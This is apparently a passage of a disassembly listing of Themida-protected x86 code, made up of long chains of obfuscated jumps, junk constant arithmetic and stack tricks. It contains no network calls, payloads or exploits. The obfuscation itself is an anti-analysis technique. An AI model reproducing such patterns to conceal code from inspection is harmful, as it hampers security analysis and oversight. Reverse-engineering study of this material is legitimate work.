; Themida_:005AFA2Cj
push edx
mov edx, 72C47F10h
not edx
add edx, 0C714D2F8h
sub ecx, edx
pop edx
jmp loc_59DF14
; ---------------------------------------------------------------------------
loc_59D2A4: ; CODE XREF: Themida_:005A96AFj
add edx, eax
jmp loc_5AD7A0
; ---------------------------------------------------------------------------
loc_59D2AB: ; CODE XREF: Themida_:005A815Fj
add ebx, 1A7716F5h
jle loc_5A33CF
inc ebx
jnz loc_5ABDFA
sub ebx, 6BAAC20h
mov edx, ebx
pop ebx
jmp loc_5A6208
; ---------------------------------------------------------------------------
loc_59D2CC: ; CODE XREF: Themida_:loc_5AD04Bj
push ecx
sub esp, 4
jmp loc_5AEB91
; ---------------------------------------------------------------------------
loc_59D2D8: ; CODE XREF: Themida_:0059F6D3j
pop edi
sub eax, ebx
push esi
mov esi, 16B422E7h
jmp loc_5A7B49
; ---------------------------------------------------------------------------
loc_59D2E6: ; CODE XREF: Themida_:005ACA26j
mov eax, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
xchg edi, [esp]
pop esp
mov [esp], eax
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59D304: ; CODE XREF: Themida_:0059BF59j
sub eax, 7BE52628h
sub eax, edi
jmp loc_5A7B9A
; ---------------------------------------------------------------------------
loc_59D310: ; CODE XREF: Themida_:005A67C5j
mov eax, esp
jmp loc_59C3A2
; ---------------------------------------------------------------------------
loc_59D317: ; CODE XREF: Themida_:005ADC29j
pop dword ptr [esp]
jmp loc_5AEEA3
; ---------------------------------------------------------------------------
loc_59D31F: ; CODE XREF: Themida_:005A9E4Dj
push 0DEFh
jmp loc_59B2B9
; ---------------------------------------------------------------------------
loc_59D329: ; CODE XREF: Themida_:0059E020j
pop ecx
sub edx, eax
jmp loc_59F3D0
; ---------------------------------------------------------------------------
loc_59D331: ; CODE XREF: Themida_:005A659Dj
pop esp
xor al, dh
pop dx
jmp loc_5A1054
; ---------------------------------------------------------------------------
loc_59D33B: ; CODE XREF: Themida_:0059B188j
; Themida_:005AC705j
mov [esp], eax
mov eax, esp
add eax, 4
push esi
push edx
mov edx, 4
jmp loc_59BFAB
; ---------------------------------------------------------------------------
loc_59D351: ; CODE XREF: Themida_:005A13B5j
; Themida_:005A8466j
sub ebx, 40444285h
sub ebp, 29677040h
sub ebp, ebx
add ebp, 29677040h
pop ebx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_5A5F0D
; ---------------------------------------------------------------------------
loc_59D374: ; CODE XREF: Themida_:005ABBF0j
add ecx, edi
add ecx, 0B890D40h
add ecx, 338C0DE8h
mov edi, [esp]
add esp, 4
xor ecx, 74D10E2Ah
xor ecx, 4B8A2133h
xor ecx, 604818EBh
add ecx, 0BC953E4Eh
push 57A0h
jmp loc_59BB0B
; ---------------------------------------------------------------------------
loc_59D3AA: ; CODE XREF: Themida_:005A239Aj
; Themida_:005AC680j
sub edi, 0FFFFFFFFh
sub edi, 592F6219h
add edx, edi
pop edi
push ebx
mov ebx, 2
add edx, ebx
pop ebx
push edx
push dword ptr [esp+4]
pop edx
jmp loc_599042
; ---------------------------------------------------------------------------
loc_59D3CA: ; CODE XREF: Themida_:0059D1BAj
lodsb
jmp loc_59F6FA
; ---------------------------------------------------------------------------
loc_59D3D0: ; CODE XREF: Themida_:005A2166j
add [esp+4], esi
jmp loc_59BE9E
; ---------------------------------------------------------------------------
loc_59D3D9: ; CODE XREF: Themida_:005ACE2Fj
pop ebx
jmp loc_5A3203
; ---------------------------------------------------------------------------
loc_59D3DF: ; CODE XREF: Themida_:0059B302j
mov ecx, [esp]
jmp loc_5A5916
; ---------------------------------------------------------------------------
loc_59D3E7: ; DATA XREF: Themida_:005987C4o
push dword ptr [esp]
mov ecx, [esp]
jmp loc_59E75F
; ---------------------------------------------------------------------------
loc_59D3F2: ; CODE XREF: Themida_:005A76A2j
mov edi, ecx
jmp loc_5A654C
; ---------------------------------------------------------------------------
loc_59D3F9: ; CODE XREF: Themida_:005A599Aj
and ecx, ebx
pop ebx
sub ecx, 208009FDh
mov edx, ecx
push dword ptr [esp]
pop ecx
jmp loc_5AB5BC
; ---------------------------------------------------------------------------
loc_59D40D: ; CODE XREF: Themida_:005A8EFCj
add eax, 15F77F79h
sub eax, 4AE10761h
add esi, eax
pop eax
add esi, ecx
sub esi, 590E3FB6h
pop ecx
push 7ED8h
mov [esp], edx
push ebx
mov ebx, 4
push ebx
jmp loc_5AC5C1
; ---------------------------------------------------------------------------
loc_59D437: ; CODE XREF: Themida_:0059F831j
sub eax, 4ED0276Eh
or eax, 3DC341BDh
and eax, 58DD46C5h
neg eax
add eax, 2E9B5119h
xor eax, 0F4A869DBh
sub ebx, eax
jmp loc_5AC65D
; ---------------------------------------------------------------------------
loc_59D459: ; CODE XREF: Themida_:0059C1E9j
; Themida_:0059E479j
mov esi, 17125051h
jmp loc_5A7A9A
; ---------------------------------------------------------------------------
loc_59D463: ; CODE XREF: Themida_:005AEC89j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59D468: ; CODE XREF: Themida_:005A16FAj
add edi, ecx
pop ecx
jmp loc_59A0D4
; ---------------------------------------------------------------------------
loc_59D470: ; CODE XREF: Themida_:005A27E1j
sub bx, 53C1h
jmp loc_5AFB75
; ---------------------------------------------------------------------------
loc_59D47A: ; CODE XREF: Themida_:005A6DDBj
sub edx, 63FC36DCh
jmp loc_59C930
; ---------------------------------------------------------------------------
loc_59D485: ; CODE XREF: Themida_:005AD965j
mov [esp], ebp
jmp loc_5A0449
; ---------------------------------------------------------------------------
loc_59D48D: ; CODE XREF: Themida_:005A6E70j
mov esp, [esp]
mov [esp], eax
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59D498: ; CODE XREF: Themida_:005AF4F9j
mov ebp, 6B637F42h
xor ebp, 6B637F46h
add edx, ebp
pop ebp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
xchg eax, ebx
sub esp, 4
mov [esp], ebx
push 130Eh
mov [esp], eax
push ebp
mov ebp, 71923770h
add ebp, 8E6DC891h
mov eax, ebp
jmp loc_59C684
; ---------------------------------------------------------------------------
loc_59D4D4: ; CODE XREF: Themida_:005AD958j
pop eax
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_5AC79C
; ---------------------------------------------------------------------------
loc_59D4E3: ; CODE XREF: Themida_:005ACEBFj
sub eax, 4
xchg eax, [esp]
jmp loc_59AA65
; ---------------------------------------------------------------------------
loc_59D4F0: ; CODE XREF: Themida_:0059BA7Aj
add esp, 4
pop edi
push edx
mov edx, 0FA225C5h
and eax, edx
pop edx
shr eax, 7
shl eax, 7
jmp loc_5A5F2F
; ---------------------------------------------------------------------------
loc_59D508: ; CODE XREF: Themida_:005A6961j
mov ebx, ebp
pop ebp
xchg edx, ebx
jmp loc_5A0E54
; ---------------------------------------------------------------------------
loc_59D512: ; CODE XREF: Themida_:00599D6Cj
; Themida_:005A2392j
shl eax, 1
jnp loc_5AD04B
jmp loc_5AF538
; ---------------------------------------------------------------------------
loc_59D51F: ; CODE XREF: Themida_:0059A37Fj
add ecx, 1A1D75BEh
jmp loc_5AECB3
; ---------------------------------------------------------------------------
loc_59D52A: ; CODE XREF: Themida_:005A2CB6j
pop esp
push edx
mov dh, 0B4h
inc dh
xor dh, 6Bh
not dh
inc dh
shr dh, 3
add dh, 55h
jmp loc_5A0A1C
; ---------------------------------------------------------------------------
loc_59D542: ; CODE XREF: Themida_:0059E43Bj
push dword ptr [esp]
jmp loc_59C817
; ---------------------------------------------------------------------------
loc_59D54A: ; CODE XREF: Themida_:0059D71Ej
sub ch, 6Dh
jnp loc_59EA40
shl ch, 6
jmp loc_59B384
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop esi
mov edi, ecx
pop ecx
loc_59D562: ; CODE XREF: Themida_:005A4C70j
push esi
mov esi, 592E0ACDh
or edi, esi
pop esi
jmp loc_5A914F
; ---------------------------------------------------------------------------
loc_59D570: ; CODE XREF: Themida_:005A6928j
add ecx, 0FDDA72A4h
jmp loc_5A310A
; ---------------------------------------------------------------------------
loc_59D57B: ; CODE XREF: Themida_:005ADF15j
shl al, 7
jmp loc_5A3A34
; ---------------------------------------------------------------------------
loc_59D583: ; CODE XREF: Themida_:005A2AFEj
add ebp, 1FBD63B8h
jmp loc_5A40A7
; ---------------------------------------------------------------------------
loc_59D58E: ; DATA XREF: Themida_:005986D0o
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59D59C: ; CODE XREF: Themida_:005A9F3Aj
xchg esi, [esp]
pop esp
mov [esp], eax
push 3445h
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
push 458402A7h
push dword ptr [esp]
pop edx
jmp loc_5A1370
; ---------------------------------------------------------------------------
loc_59D5CE: ; CODE XREF: Themida_:005A33CAj
add ebx, ebp
jmp loc_5AE6E2
; ---------------------------------------------------------------------------
loc_59D5D5: ; CODE XREF: Themida_:005AF2ADj
jmp loc_59E33D
; ---------------------------------------------------------------------------
loc_59D5DA: ; CODE XREF: Themida_:005A5274j
push esi
jmp loc_59F8D0
; ---------------------------------------------------------------------------
loc_59D5E0: ; CODE XREF: Themida_:005A8B71j
sub ebp, 69F833F5h
add ebp, 0FFFFFFFFh
sub ebp, 75AB1CF8h
jmp loc_5A894F
; ---------------------------------------------------------------------------
loc_59D5F4: ; CODE XREF: Themida_:005A926Ej
push ebx
mov ebx, 27344943h
inc ebx
add ebx, 0EF798E7Ah
add ebp, ebx
pop ebx
add ebx, 79074905h
sub ebx, 698D181Eh
sub ebx, ebp
jmp loc_5AADD7
; ---------------------------------------------------------------------------
loc_59D617: ; CODE XREF: Themida_:0059C763j
pop ebx
push ecx
push ebx
mov bl, dh
jmp loc_5A423F
; ---------------------------------------------------------------------------
loc_59D621: ; CODE XREF: Themida_:0059FE66j
jmp loc_59F235
; ---------------------------------------------------------------------------
loc_59D626: ; CODE XREF: Themida_:005A5673j
push esi
jmp loc_59C93D
; ---------------------------------------------------------------------------
loc_59D62C: ; CODE XREF: Themida_:005AC69Fj
add edx, 52B471Fh
add edx, ebp
sub edx, 52B471Fh
pop ebp
add edx, 4
xchg edx, [esp]
pop esp
xor [esp], eax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59D64E: ; CODE XREF: Themida_:005A2C1Cj
push 9EBh
jmp loc_5A69F3
; ---------------------------------------------------------------------------
loc_59D658: ; CODE XREF: Themida_:0059E96Cj
mov eax, [esp]
add esp, 4
push edx
push esp
pop edx
add edx, 4
push edi
push ebx
mov ebx, 65F00D2Ah
jmp loc_5ADFAF
; ---------------------------------------------------------------------------
loc_59D673: ; CODE XREF: Themida_:005A6173j
pop ecx
pop dx
jmp loc_5A430A
; ---------------------------------------------------------------------------
loc_59D67B: ; CODE XREF: Themida_:005AA709j
or ebp, 733F5F35h
jmp loc_5992FE
; ---------------------------------------------------------------------------
loc_59D686: ; CODE XREF: Themida_:005AD078j
mov esi, esp
jmp loc_59C1BB
; ---------------------------------------------------------------------------
loc_59D68D: ; CODE XREF: Themida_:005A2932j
mov ebx, esp
jmp loc_5A2CA7
; ---------------------------------------------------------------------------
loc_59D694: ; CODE XREF: Themida_:00598E94j
push dword ptr [esp]
jmp loc_5A7D59
; ---------------------------------------------------------------------------
loc_59D69C: ; CODE XREF: Themida_:0059CCCDj
push edx
push dword ptr [esp+4]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A0E3F
; ---------------------------------------------------------------------------
loc_59D6BE: ; CODE XREF: Themida_:005A95D2j
add edi, 8040025h
jmp loc_5AA9F5
; ---------------------------------------------------------------------------
loc_59D6C9: ; CODE XREF: Themida_:005AEFEFj
sub esp, 4
mov [esp], ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
mov bh, 32h
sub al, bh
jmp loc_5A61F9
; ---------------------------------------------------------------------------
loc_59D6ED: ; CODE XREF: Themida_:005ABD99j
mov [esp], esi
mov esi, 79750F69h
dec esi
or esi, 12861247h
add esi, 0FFFFFFFFh
xor esi, 5D247A29h
jge loc_59A5B6
jmp loc_59DF02
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ch, al
mov eax, edi
loc_59D71A: ; CODE XREF: Themida_:0059C39Dj
pop ebx
or ch, 0F5h
ja loc_59D54A
sub ch, 6Dh
jnp loc_5A662D
mov edx, ebp
loc_59D72F: ; CODE XREF: Themida_:005AD7E3j
add ebp, 2F2D0EA3h
shl ebp, 5
sub ebp, 418F0EEh
add edx, ebp
pop ebp
jmp loc_59AE08
; ---------------------------------------------------------------------------
loc_59D746: ; CODE XREF: Themida_:0059A72Fj
push 710Ah
mov [esp], edi
push 3A3h
mov [esp], esp
jmp loc_5A8DE5
; ---------------------------------------------------------------------------
loc_59D75B: ; CODE XREF: Themida_:005A2433j
neg ebx
xchg eax, ebx
jmp loc_59F1DF
; ---------------------------------------------------------------------------
loc_59D763: ; CODE XREF: Themida_:0059E643j
; Themida_:005AE5CEj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_59BD98
; ---------------------------------------------------------------------------
loc_59D781: ; CODE XREF: Themida_:00599910j
xor ebx, 0A410BB32h
add ebp, ebx
jmp loc_59C6CF
; ---------------------------------------------------------------------------
loc_59D78E: ; CODE XREF: Themida_:005A704Bj
xor ebx, [esp]
pop esp
mov dx, [esp]
jmp loc_5A0773
; ---------------------------------------------------------------------------
loc_59D79B: ; CODE XREF: Themida_:0059A9B9j
neg ebp
jle loc_5AF9D8
jmp loc_5ADCE7
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5A828E
; ---------------------------------------------------------------------------
loc_59D7B1: ; CODE XREF: Themida_:005A265Dj
sub ebx, edx
add ebx, 37F443CBh
pop edx
pop ebp
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_5A1B6B
; ---------------------------------------------------------------------------
loc_59D7CC: ; CODE XREF: Themida_:005A3981j
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push eax
mov eax, 4
jmp loc_5ADE4C
; ---------------------------------------------------------------------------
loc_59D7E4: ; CODE XREF: Themida_:005A48B0j
xor edx, 96E05EEh
mov ebp, edx
mov edx, [esp]
add esp, 4
mov ecx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
and eax, ecx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59B4AC
; ---------------------------------------------------------------------------
loc_59D808: ; CODE XREF: Themida_:005A138Ej
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5A167C
; ---------------------------------------------------------------------------
loc_59D81A: ; CODE XREF: Themida_:005A5BEAj
mov edi, 4D580C2Fh
mov ebx, edi
pop edi
not ebx
jmp loc_598D1E
; ---------------------------------------------------------------------------
loc_59D829: ; CODE XREF: Themida_:005A0F6Cj
; Themida_:005AA73Bj
mov eax, 7FF36511h
add ebp, eax
pop eax
add ebp, ecx
jmp loc_5ABD6D
; ---------------------------------------------------------------------------
loc_59D838: ; CODE XREF: Themida_:0059A004j
mov edx, esp
jmp loc_59BA66
; ---------------------------------------------------------------------------
loc_59D83F: ; CODE XREF: Themida_:0059A887j
add edx, 106AD9F0h
xor ebx, edx
pop edx
shl ebx, 7
sub ebx, 58AF7D87h
add esi, 7446563Eh
add esi, 2FA860F2h
add esi, ebx
sub esi, 2FA860F2h
jmp loc_5AC8DD
; ---------------------------------------------------------------------------
loc_59D86A: ; CODE XREF: Themida_:005AF7E3j
pop ebp
sub esp, 4
mov [esp], eax
mov eax, esp
push esi
jmp loc_5A384F
; ---------------------------------------------------------------------------
loc_59D879: ; CODE XREF: Themida_:00599C7Fj
push edi
jmp loc_5ADBB0
; ---------------------------------------------------------------------------
loc_59D87F: ; CODE XREF: Themida_:0059EC22j
pop edx
add esp, 4
push 7935h
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59D8A6: ; CODE XREF: Themida_:005AD0A5j
and dl, 67h
push ebx
mov bh, 7Bh
jmp loc_5A43E3
; ---------------------------------------------------------------------------
loc_59D8B1: ; CODE XREF: Themida_:005AFCECj
pop eax
sub esi, 7FDF5FD3h
add ebp, esi
jmp loc_5A56E2
; ---------------------------------------------------------------------------
loc_59D8BF: ; CODE XREF: Themida_:005AEE08j
sub word ptr [esp+4], 1217h
pop dx
sub word ptr [esp+2], 2487h
add [esp+2], cx
add word ptr [esp+2], 2487h
jmp loc_59CB01
; ---------------------------------------------------------------------------
loc_59D8E0: ; CODE XREF: Themida_:0059BC98j
push 1E4h
mov [esp], edx
mov edx, 6654017Ah
xor ebx, edx
jmp loc_5A7CD8
; ---------------------------------------------------------------------------
loc_59D8F4: ; CODE XREF: Themida_:0059F5F8j
pop ebp
sub esp, 4
mov [esp], esi
mov esi, 732F4DFBh
inc esi
jmp loc_5ADAF3
; ---------------------------------------------------------------------------
loc_59D909: ; CODE XREF: Themida_:005AB4DBj
mov eax, 1F51366Ah
sub eax, 10B7723Eh
or eax, 650B784Bh
xor eax, 756CB292h
jmp loc_5A9DA6
; ---------------------------------------------------------------------------
loc_59D922: ; CODE XREF: Themida_:0059AF64j
sub esp, 4
mov [esp], ebp
jmp loc_5ADD33
; ---------------------------------------------------------------------------
loc_59D930: ; CODE XREF: Themida_:005AA774j
push esp
pop edx
sub esp, 4
mov [esp], ebp
mov ebp, 505F1886h
jmp loc_5AD0FF
; ---------------------------------------------------------------------------
loc_59D942: ; CODE XREF: Themida_:005A2352j
popa
retn
; ---------------------------------------------------------------------------
loc_59D944: ; DATA XREF: Themida_:005986C0o
lodsd
xor eax, ebx
push ebx
mov ebx, 344F7809h
xor ebx, 10766F4Dh
jo loc_59993F
jmp loc_5A2D47
; ---------------------------------------------------------------------------
loc_59D95E: ; CODE XREF: Themida_:0059941Dj
not dl
mov ah, dl
pop edx
jmp loc_59AA56
; ---------------------------------------------------------------------------
loc_59D968: ; CODE XREF: Themida_:005A54F7j
pop bx
jmp loc_59F0B7
; ---------------------------------------------------------------------------
loc_59D96F: ; CODE XREF: Themida_:005994D7j
shl ch, 4
not ch
push bx
push eax
mov al, 34h
jmp loc_5A65CC
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edi
jmp loc_5AD3E6
; ---------------------------------------------------------------------------
loc_59D990: ; CODE XREF: Themida_:005A45D0j
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], esi
push esp
mov esi, [esp]
jmp loc_5A0B73
; ---------------------------------------------------------------------------
loc_59D9A3: ; CODE XREF: Themida_:005AC96Aj
mov [esp], ecx
sub esp, 4
jmp loc_5AB04F
; ---------------------------------------------------------------------------
loc_59D9AE: ; CODE XREF: Themida_:0059DC37j
mov [esp], ebp
push esp
jmp loc_5A831E
; ---------------------------------------------------------------------------
loc_59D9B7: ; CODE XREF: Themida_:005A8847j
xchg ecx, [esp]
mov esp, [esp]
add edi, 4
add edi, 4
jmp loc_5A9AE6
; ---------------------------------------------------------------------------
loc_59D9CE: ; CODE XREF: Themida_:005A5B13j
; Themida_:005AD33Bj ...
pop ebp
jmp loc_5A516D
; ---------------------------------------------------------------------------
loc_59D9D4: ; CODE XREF: Themida_:005AD003j
add ebx, edx
pop edx
xchg ebx, [esp]
mov esp, [esp]
push eax
push 890h
push esp
pop dword ptr [esp]
push 139Bh
mov [esp], ebp
push ebx
push edx
push 1EA7342Eh
pop edx
jmp loc_5AA102
; ---------------------------------------------------------------------------
loc_59D9FC: ; CODE XREF: Themida_:005A68ECj
mov [esp], ebp
mov ebp, 2F055A30h
shr ebp, 3
js loc_59BC20
neg ebp
push 0
sub [esp], ebp
pop ebp
push eax
mov eax, 5E0EB46h
xor ebp, eax
pop eax
mov edi, ebp
pop ebp
jmp loc_5A3991
; ---------------------------------------------------------------------------
loc_59DA29: ; CODE XREF: Themida_:005AF861j
sub edi, ecx
pop ecx
add edi, esi
add edi, 3F133A1Eh
jmp loc_5AFB14
; ---------------------------------------------------------------------------
loc_59DA39: ; CODE XREF: Themida_:0059B7AEj
pop dword ptr [esp]
pop esp
or eax, eax
jz loc_5A6301
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_5A2501
; ---------------------------------------------------------------------------
loc_59DA56: ; CODE XREF: Themida_:005AC8A1j
xor [esp], esi
jmp loc_5AD3F8
; ---------------------------------------------------------------------------
loc_59DA5E: ; CODE XREF: Themida_:005A002Ej
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebx
sub esp, 4
jmp loc_59981A
; ---------------------------------------------------------------------------
loc_59DA72: ; CODE XREF: Themida_:005A7156j
mov esi, 6D015D4Ah
push ebx
push edi
jmp loc_5A083A
; ---------------------------------------------------------------------------
loc_59DA7E: ; CODE XREF: Themida_:005ADDC1j
add ebx, 4
jmp loc_5A629B
; ---------------------------------------------------------------------------
loc_59DA89: ; CODE XREF: Themida_:005AEB14j
pop esi
add esi, 39CA6F5Eh
pop ebx
push ebp
mov ebp, 6E415EEBh
or esi, ebp
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_5A2DB8
; ---------------------------------------------------------------------------
loc_59DAB6: ; CODE XREF: Themida_:loc_5AB026j
jmp loc_59C6CF
; ---------------------------------------------------------------------------
loc_59DABB: ; CODE XREF: Themida_:005A7EFFj
push 56AA506Bh
jmp loc_5A6224
; ---------------------------------------------------------------------------
loc_59DAC5: ; CODE XREF: Themida_:005A86A4j
dec edx
add edx, 0DE34BAFAh
mov eax, 0BBD040Fh
sub eax, edx
mov edx, [esp]
add esp, 4
sub ebx, 114F7ECCh
sub ebx, 51E577F3h
add ebx, eax
add ebx, 51E577F3h
add ebx, 114F7ECCh
pop eax
add ebx, 4
jmp loc_59ACCB
; ---------------------------------------------------------------------------
loc_59DB02: ; CODE XREF: Themida_:0059ADBBj
; Themida_:005A9D2Ej
pop esp
mov ecx, [esp]
add esp, 4
sub eax, 21216EE9h
add eax, edi
add eax, 21216EE9h
mov edi, [esp]
add esp, 4
push eax
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
jmp loc_59C7DE
; ---------------------------------------------------------------------------
loc_59DB2F: ; CODE XREF: Themida_:0059920Fj
; Themida_:0059FFC1j
add ecx, 364136E6h
jmp loc_5A4ABF
; ---------------------------------------------------------------------------
loc_59DB3A: ; CODE XREF: Themida_:005A105Cj
push eax
mov eax, esp
push ecx
mov ecx, 1B53C97h
and ecx, 0DAC7350h
inc ecx
dec ecx
push eax
mov eax, 1A43014h
xor ecx, eax
pop eax
add eax, 76BD1353h
add eax, 6FFB6F94h
add eax, ecx
sub eax, 6FFB6F94h
sub eax, 76BD1353h
pop ecx
push ebp
mov ebp, 4
sub eax, ebp
push dword ptr [esp]
pop ebp
jmp loc_5AC5A3
; ---------------------------------------------------------------------------
loc_59DB7C: ; CODE XREF: Themida_:005AB6D8j
add ebp, eax
push dword ptr [esp]
pop eax
jmp loc_5AA99C
; ---------------------------------------------------------------------------
loc_59DB87: ; CODE XREF: Themida_:0059EB2Fj
sub bl, ch
push ecx
mov cl, 0FAh
shl cl, 2
jmp loc_59F1AC
; ---------------------------------------------------------------------------
loc_59DB94: ; CODE XREF: Themida_:005A1F46j
add esp, 4
add esp, 4
loc_59DB9D: ; CODE XREF: Themida_:005A726Fj
; Themida_:005A878Ej
push dword ptr [edi+24h]
jmp loc_5A78E9
; ---------------------------------------------------------------------------
loc_59DBA5: ; CODE XREF: Themida_:loc_59AE14j
; Themida_:005A84C8j
jmp loc_59F854
; ---------------------------------------------------------------------------
loc_59DBAA: ; CODE XREF: Themida_:005AA682j
dec esi
shr esi, 7
jmp loc_5A58FF
; ---------------------------------------------------------------------------
loc_59DBB3: ; CODE XREF: Themida_:005AE9A6j
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edx
push 7CB44DC6h
pop edx
push eax
jmp loc_59AB36
; ---------------------------------------------------------------------------
loc_59DBCB: ; CODE XREF: Themida_:005A0CF4j
push edi
push edx
jmp loc_5ACB1D
; ---------------------------------------------------------------------------
loc_59DBD2: ; CODE XREF: Themida_:0059DCEDj
add edi, 65AF539Fh
add edi, 1FEA3B7Bh
pop ebp
std
push 0Ah
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
jmp loc_5A4ADC
; ---------------------------------------------------------------------------
loc_59DBF6: ; CODE XREF: Themida_:005A5C5Fj
push eax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59DBFD: ; CODE XREF: Themida_:005AC277j
add esp, 4
sub esp, 4
mov [esp], ecx
push 4
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, 44A83359h
jmp loc_5A073C
; ---------------------------------------------------------------------------
loc_59DC22: ; CODE XREF: Themida_:005A5745j
push ebp
jmp loc_59B6F8
; ---------------------------------------------------------------------------
loc_59DC28: ; CODE XREF: Themida_:0059AA60j
mov eax, [esp]
add esp, 4
shr ebx, 3
jmp loc_5AA55A
; ---------------------------------------------------------------------------
loc_59DC36: ; CODE XREF: Themida_:005AA2DFj
pop esp
jmp loc_59D9AE
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push 3A8Fh
mov [esp], ebp
push esp
mov ebp, [esp]
jmp loc_5AB2CA
; ---------------------------------------------------------------------------
loc_59DC62: ; CODE XREF: Themida_:0059DCB1j
xor ecx, edx
jmp loc_5A1402
; ---------------------------------------------------------------------------
loc_59DC69: ; CODE XREF: Themida_:005AD7FDj
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59DC6E: ; CODE XREF: Themida_:0059E427j
dec ebp
inc ebp
dec ebp
xor ebp, 0EF7DEFEFh
add eax, 2FFA2145h
add eax, ebp
sub eax, 2FFA2145h
jmp loc_5A5A03
; ---------------------------------------------------------------------------
loc_59DC88: ; CODE XREF: Themida_:005AE859j
pop edi
sub edx, 6FD94CA4h
jmp loc_59E06E
; ---------------------------------------------------------------------------
loc_59DC94: ; CODE XREF: Themida_:005A7921j
push ebp
mov ebp, 24F3385Ch
not ebp
and ebp, 52EB7C04h
sub ebp, 0DD91C7A4h
mov edx, ebp
pop ebp
sub edx, 43F406DEh
jmp loc_59DC62
; ---------------------------------------------------------------------------
loc_59DCB6: ; CODE XREF: Themida_:005A441Dj
mov eax, 208875EEh
push esi
mov esi, 0DF778A16h
jmp loc_59DE0C
; ---------------------------------------------------------------------------
loc_59DCC6: ; CODE XREF: Themida_:005ABA33j
or edx, 7D16781Fh
dec edx
xor edx, 0EF55447h
xor ebp, edx
mov edx, [esp]
add esp, 4
not ebp
jmp loc_5A2297
; ---------------------------------------------------------------------------
loc_59DCE5: ; CODE XREF: Themida_:0059FE95j
push eax
jmp loc_5A364D
; ---------------------------------------------------------------------------
loc_59DCEB: ; CODE XREF: Themida_:005AC78Cj
add edi, ebp
jmp loc_59DBD2
; ---------------------------------------------------------------------------
loc_59DCF2: ; CODE XREF: Themida_:005A8BD8j
add ebx, 6588C861h
mov ebp, ebx
jmp loc_5A356E
; ---------------------------------------------------------------------------
loc_59DCFF: ; CODE XREF: Themida_:005A0410j
mov dh, 76h
add dh, 3Eh
sub dh, 2Ch
jmp loc_5A246D
; ---------------------------------------------------------------------------
loc_59DD0C: ; CODE XREF: Themida_:005A74CEj
add esi, 507E10D9h
add esi, 69A13E1Eh
sub esi, 7BD246CFh
pop ebx
xchg esi, [esp]
mov esp, [esp]
jmp loc_5AD7F8
; ---------------------------------------------------------------------------
loc_59DD2A: ; CODE XREF: Themida_:005A5E90j
inc edx
jo loc_5989CB
not edx
xor edx, 621F45BFh
shr edx, 3
sub edx, 9D8D8FACh
mov ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
sub ebx, 1
jmp loc_5AAB34
; ---------------------------------------------------------------------------
loc_59DD56: ; CODE XREF: Themida_:005A1584j
mov edx, 1A8063A4h
shl edx, 6
and edx, 4BE51604h
sub edx, 8A2DC049h
sub ebx, edx
pop edx
mov esi, [esp]
jmp loc_5A6EFB
; ---------------------------------------------------------------------------
loc_59DD75: ; CODE XREF: Themida_:005A9805j
mov edi, 1EBD79BFh
shr edi, 8
sub edi, 99A4A60h
and edi, 356C6CC0h
shl edi, 6
or edi, 1D344AB6h
xor edi, 744FCB37h
sub eax, edi
pop edi
jmp loc_5A0923
; ---------------------------------------------------------------------------
loc_59DDA0: ; CODE XREF: Themida_:005AAA73j
xchg esi, [esp]
jmp loc_5993D9
; ---------------------------------------------------------------------------
loc_59DDA8: ; CODE XREF: Themida_:0059F11Cj
add ecx, eax
add ecx, 6D9441BEh
mov eax, [esp]
add esp, 4
jmp loc_59E27D
; ---------------------------------------------------------------------------
loc_59DDBB: ; CODE XREF: Themida_:005AF841j
mov ecx, 737754BBh
not ecx
inc ecx
push edi
mov edi, 0FFFFFFFFh
jmp loc_5A2124
; ---------------------------------------------------------------------------
loc_59DDCE: ; CODE XREF: Themida_:005A281Fj
mov [esp], edx
push 49C777F4h
pop edx
neg edx
jle loc_5A0756
jmp loc_5AB8EC
; ---------------------------------------------------------------------------
xchg edi, [esp]
mov esi, ebx
and al, 0F5h
loc_59DDEB: ; CODE XREF: Themida_:00599FF3j
